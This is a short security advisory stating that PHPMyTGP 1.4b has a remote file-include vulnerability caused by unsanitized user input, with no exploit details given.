PHPMyTGP is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects PHPMyTGP 1.4b; other versions may also be affected.
